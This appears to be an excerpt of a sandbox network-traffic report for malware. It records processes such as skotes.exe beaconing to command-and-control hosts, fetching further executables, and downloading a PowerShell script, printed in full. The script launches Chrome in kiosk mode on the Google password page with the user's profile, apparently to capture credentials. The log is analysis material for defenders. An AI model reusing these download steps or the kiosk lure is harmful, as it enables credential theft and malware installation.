Sep 29, 2024 01:02:08.753942013 CEST	1236	IN	Data Raw: 3c 89 40 d9 f2 93 38 48 7e 7d 9d 94 38 57 42 a8 f4 e1 52 67 f4 1e db 29 b8 f9 3d 4f 82 16 97 ec e6 5f 94 21 f4 7b f0 7a 60 a9 2d cf e1 71 9e 28 e0 8f a6 d3 c9 17 c7 bc 39 35 98 c7 f2 5a 79 43 21 21 2f ec e5 ed e6 1a 90 c5 66 6c 44 f3 7e 8f 26 86 Data Ascii: <@8H~}8WBRg)=O_!{z`-q(95ZyC!!/flD~&41S)d!M\|MngEOZ9VM9ZiECn^ 1ctG]@U)\/]7_G6)}sdhJ{4U$?1d)@$>vq)gMmpc@j.
Sep 29, 2024 01:02:08.753952980 CEST	1236	IN	Data Raw: 8d c1 3d c4 3f ca 90 38 b0 23 99 1c 6d 0d 1c 30 22 65 24 bd 46 1d ad 23 df 01 02 00 72 1c 2c 8b 57 a7 d5 7d 27 71 c2 48 f8 54 42 27 05 67 e8 ca 7c 63 e2 81 3c 9c 95 a9 38 bb 3f ec 00 68 54 a3 e4 1e 17 1a 9e db 15 7b 9f 2c 24 90 a5 70 54 cf 7c 87 Data Ascii: =?8#m0"e$F#r,W}'qHTB'g\|c<8?hT{,$pT\|gw-&]_^D[#!6n6M@`2&lp `38Anm"8uV/K}qy#!'Qq!RKD2[m6Nt%>#b0-J8f6
Sep 29, 2024 01:02:08.753964901 CEST	672	IN	Data Raw: f8 e5 2d 0c 3d 2f c9 9f f3 76 ba 10 8a 74 3e 53 9d 93 e6 4a 32 bd b2 ea 70 49 ea 3f 28 6d 2f 2a 31 c9 89 5b 3c e9 76 eb 5b 6c d1 b8 eb 57 07 cb 8f 77 34 2b 15 28 a8 10 a0 5b 36 19 94 46 54 05 75 76 23 7e 97 e1 6a 80 d7 ee 3f 83 7f 35 a8 dd 17 2d Data Ascii: -=/vt>SJ2pI?(m/1[<v[lWw4+([6FTuv#~j?5-Ns0O:'TJ/2aj(M;~[^ ~PyI2K~0aR&O&=2nvA-(Tb?;?WvVev&_>7'xTQvI#':)o
Sep 29, 2024 01:02:08.753977060 CEST	1236	IN	Data Raw: 32 81 b2 74 8c e2 e9 aa 48 95 2e c4 2a 75 ca e5 53 77 12 2b b0 18 46 90 30 4d 2e 66 ff 41 fa 90 17 2a fe 13 31 ee 27 41 c3 55 44 ef 0f 6c aa 20 b1 71 fe ae bf 3b b6 eb c3 6b 16 b8 33 6b 21 cb bf 76 54 57 14 08 c3 b3 91 e4 86 18 50 6f 48 ea 3d ff Data Ascii: 2tH.uSw+F0M.fA1'AUDl q;k3k!vTWPoH=PoHvc57'%T(..KE:'$L0.`vM'1:2of6H1^IM^&I?HRQT^%-?#],vTNE:5(kf\G?SvfW
Sep 29, 2024 01:02:08.758783102 CEST	1236	IN	Data Raw: 3a e9 1a a5 f2 ed 44 03 b1 09 3f 47 1a 7d 2f 1b 24 f5 0a 8c b7 65 3f 63 35 b4 04 eb 6b 2a 13 53 81 76 8a eb b9 fb b2 e3 2a 21 9e 18 80 4d 58 48 ff 69 e6 4e 36 2f 3e b5 14 49 2e 18 a8 a9 e2 cb a9 7f 58 21 74 76 21 81 93 21 a2 e0 e7 76 8c 20 ee 71 Data Ascii: :D?G}/$e?c5kSv!MXHiN6/>I.X!tv!!v q04P=S67E`?,197_tEWf?44#O>!?B1nF BV-?(/p?k CulwDeqw&w{='~]V

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:12.646428108 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000023001&unit=246122658369
Sep 29, 2024 01:02:13.384246111 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49714	185.215.113.103	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:13.400006056 CEST	146	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMT If-None-Match: "1c2200-62335e26d596b"
Sep 29, 2024 01:02:14.100630999 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Sat, 28 Sep 2024 23:02:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Sep 2024 22:56:39 GMT ETag: "1c2200-62335e26d596b" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49715	185.215.113.37	80	6724	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:13.752911091 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:14.462652922 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:14.470237970 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCGDBAKKKFBGDHJKFHJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 47 44 42 41 4b 4b 4b 46 42 47 44 48 4a 4b 46 48 4a 2d 2d 0d 0a Data Ascii: ------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="hwid"9567758546661964116302------KFCGDBAKKKFBGDHJKFHJContent-Disposition: form-data; name="build"save------KFCGDBAKKKFBGDHJKFHJ--
Sep 29, 2024 01:02:14.702848911 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49716	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:16.362409115 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 32 36 30 30 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000026002&unit=246122658369
Sep 29, 2024 01:02:17.054878950 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49717	185.215.113.103	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:17.067193985 CEST	52	OUT	GET /test/ko.ps1 HTTP/1.1 Host: 185.215.113.103
Sep 29, 2024 01:02:17.780033112 CEST	1116	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 27 Sep 2024 23:55:39 GMT ETag: "390-62322979134c0" Accept-Ranges: bytes Content-Length: 912 Data Raw: 24 63 68 72 6f 6d 65 50 61 74 68 58 38 36 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 24 63 68 72 6f 6d 65 50 61 74 68 58 36 34 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 0d 0a 24 63 68 72 6f 6d 65 50 72 6f 66 69 6c 65 50 61 74 68 20 3d 20 22 24 65 6e 76 3a 55 53 45 52 50 52 4f 46 49 4c 45 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 22 0d 0a 24 66 69 72 73 74 55 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 3f 3d 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 63 68 61 6c 6c 65 6e 67 65 2f 70 77 64 22 0d 0a 24 66 75 6c 6c 73 63 [TRUNCATED] Data Ascii: $chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"$fullscreenArg = "--kiosk"$profileArg = "--user-data-dir=$chromeProfilePath"function Start-Browser { param ( [string[]]$paths, [string]$firstUrl, [string]$fullscreenArg, [string]$profileArg ) foreach ($path in $paths) { if (Test-Path $path) { Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg" return } }}Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49718	185.215.113.37	80	2100	C:\Users\user\1000026002\cee706a53f.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:19.054867029 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:19.781614065 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:19.806097031 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAFHCAKFBFIECAFIIJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 46 48 43 41 4b 46 42 46 49 45 43 41 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="hwid"9567758546661964116302------BGCAFHCAKFBFIECAFIIJContent-Disposition: form-data; name="build"save------BGCAFHCAKFBFIECAFIIJ--
Sep 29, 2024 01:02:20.042283058 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49719	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:19.493566990 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 33 32 30 34 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000032042&unit=246122658369
Sep 29, 2024 01:02:20.190200090 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49720	185.215.113.103	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:20.199632883 CEST	52	OUT	GET /test/so.ps1 HTTP/1.1 Host: 185.215.113.103
Sep 29, 2024 01:02:20.904814959 CEST	1116	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:20 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 27 Sep 2024 23:55:39 GMT ETag: "390-62322979134c0" Accept-Ranges: bytes Content-Length: 912 Data Raw: 24 63 68 72 6f 6d 65 50 61 74 68 58 38 36 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 24 63 68 72 6f 6d 65 50 61 74 68 58 36 34 20 3d 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 63 68 72 6f 6d 65 2e 65 78 65 22 0d 0a 0d 0a 24 63 68 72 6f 6d 65 50 72 6f 66 69 6c 65 50 61 74 68 20 3d 20 22 24 65 6e 76 3a 55 53 45 52 50 52 4f 46 49 4c 45 5c 41 70 70 44 61 74 61 5c 4c 6f 63 61 6c 5c 47 6f 6f 67 6c 65 5c 43 68 72 6f 6d 65 5c 55 73 65 72 20 44 61 74 61 22 0d 0a 24 66 69 72 73 74 55 72 6c 20 3d 20 22 68 74 74 70 73 3a 2f 2f 79 6f 75 74 75 62 65 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 3f 3d 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 63 68 61 6c 6c 65 6e 67 65 2f 70 77 64 22 0d 0a 24 66 75 6c 6c 73 63 [TRUNCATED] Data Ascii: $chromePathX86 = "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"$chromePathX64 = "C:\Program Files\Google\Chrome\Application\chrome.exe"$chromeProfilePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data"$firstUrl = "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd"$fullscreenArg = "--kiosk"$profileArg = "--user-data-dir=$chromeProfilePath"function Start-Browser { param ( [string[]]$paths, [string]$firstUrl, [string]$fullscreenArg, [string]$profileArg ) foreach ($path in $paths) { if (Test-Path $path) { Start-Process -FilePath $path -ArgumentList "$firstUrl $fullscreenArg $profileArg" return } }}Start-Browser -paths @($chromePathX64, $chromePathX86) -firstUrl $firstUrl -fullscreenArg $fullscreenArg -profileArg $profileArg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49721	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:22.490113974 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 33 33 31 34 32 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000033142&unit=246122658369
Sep 29, 2024 01:02:23.217602015 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49722	185.215.113.103	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:23.509857893 CEST	146	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103 If-Modified-Since: Sat, 28 Sep 2024 22:56:39 GMT If-None-Match: "1c2200-62335e26d596b"
Sep 29, 2024 01:02:24.241589069 CEST	196	IN	HTTP/1.1 304 Not Modified Date: Sat, 28 Sep 2024 23:02:24 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sat, 28 Sep 2024 22:56:39 GMT ETag: "1c2200-62335e26d596b" Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49732	185.215.113.37	80	2708	C:\Users\user\AppData\Local\Temp\1000023001\8a145ab7b3.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:29.544754982 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:30.299453974 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:30.308195114 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"9567758546661964116302------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"save------JDGHIIJKEBGIDHIDBKJD--
Sep 29, 2024 01:02:30.541239023 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49735	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:30.343640089 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 33 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000035031&unit=246122658369
Sep 29, 2024 01:02:31.056307077 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49744	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:32.736098051 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:33.435250998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49747	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:35.123147011 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 34 32 44 37 38 42 39 35 42 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB42D78B95B82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Sep 29, 2024 01:02:35.822314978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49751	185.215.113.43	80	4152	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:37.659239054 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 29, 2024 01:02:38.379936934 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 28 Sep 2024 23:02:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49760	185.215.113.37	80	6960	C:\Users\user\1000026002\cee706a53f.exe

Timestamp	Bytes transferred	Direction	Data
Sep 29, 2024 01:02:39.664212942 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 29, 2024 01:02:40.353554964 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 29, 2024 01:02:40.356931925 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAEC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 36 37 37 35 38 35 34 36 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4a 4b 45 42 4b 46 43 41 41 45 43 41 41 41 41 41 45 43 2d 2d 0d 0a Data Ascii: ------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="hwid"9567758546661964116302------KKJKEBKFCAAECAAAAAECContent-Disposition: form-data; name="build"save------KKJKEBKFCAAECAAAAAEC--
Sep 29, 2024 01:02:40.580396891 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 23:02:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
